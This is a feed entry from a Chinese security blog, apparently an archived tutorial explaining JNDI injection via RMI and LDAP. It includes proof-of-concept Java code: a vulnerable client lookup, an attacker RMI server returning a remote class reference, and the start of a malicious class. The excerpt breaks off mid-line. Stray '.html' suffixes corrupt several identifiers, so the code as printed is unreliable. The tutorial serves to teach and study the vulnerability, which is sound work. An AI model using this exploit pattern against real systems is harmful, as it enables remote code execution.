戴老师的博客 - jndi
type: channel
link: https://www.tushu.info/tag/jndi/
items: JNDI注入原理及利用

JNDI注入原理及利用
type: item
date: 2026-07-09T04:31:16+00:00
description: 编者注：本文为历史博文归档，涉及 JDK、框架与工具链版本请以当前官方文档为准。引用外链图片可能失效，阅读时请注意时效性。前言本篇主要讲述 RMI-JNDI 注入的利用原理，并分析其利用流程。内容包括：使用 marshalsec 反序列化工具搭建简单的 RMI/LDAP 服务端；将导致 JNDI 注入的漏洞代码扩展至 com.sun.rowset.JdbcRowSetImpl 类，为后续分析 Fastjson 反序列化漏洞埋下引子；分析 Java 版本变化对 JNDI 注入的影响；探讨 JDK 1.8u191 之后版本的利用思路（后续文章详述）；简要介绍 LDAP-JNDI 注入。JNDI 简介Java 命名和目录接口（Java Naming and Directory Interface，JNDI）是一种 Java API，类似于一个索引中心。它允许客户端通过名称（Name）发现和查找数据与对象。其典型应用场景包括动态加载数据库配置文件，从而保持数据库代码无需变动等。基本代码格式如下：String jndiName = ...; // 指定需要查找的 name 名称 Context context = new InitialContext(); // 初始化默认环境 DataSource ds = (DataSource.html) context.lookup(jndiName.html); // 查找该 name 对应的数据这些对象可以存储在不同的命名或目录服务中，例如远程方法调用（RMI）、通用对象请求代理体系结构（CORBA）、轻型目录访问协议（LDAP）或域名服务（DNS）。本篇将着重讲解 RMI，同时提及 LDAP。RMI 调用格式示例：InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource.html) var1.lookup("rmi://127.0.0.1:1099/Exploit".html);JNDI 注入原理所谓的 JNDI 注入，就是当上述代码中的 jndiName 变量可控时引发的漏洞。它将导致远程 Class 文件加载，进而导致远程代码执行（RCE）。下面通过一个利用 RMI 的 POC 来演示，并分析其调用流程（POC 来源网络）。POC 验证1. 客户端代码（受害者）Client.javapackage jndi; import javax.naming.Context; import javax.naming.InitialContext; public class Client { public static void main(String[] args.html) throws Exception { String uri = "rmi://127.0.0.1:1099/aa"; Context ctx = new InitialContext(); ctx.lookup(uri.html); } }2. 服务端代码（攻击者部署）Server.javapackage jndi; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; public class Server { public static void main(String args[].html) throws Exception { Registry registry = LocateRegistry.createRegistry(1099.html); Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/".html); ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa.html); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'".html); registry.bind("aa", refObjWrapper.html); } }3. 恶意类代码（攻击者部署）ExecTest.javaimport java.io.BufferedReader; import java.io.IOException; impor…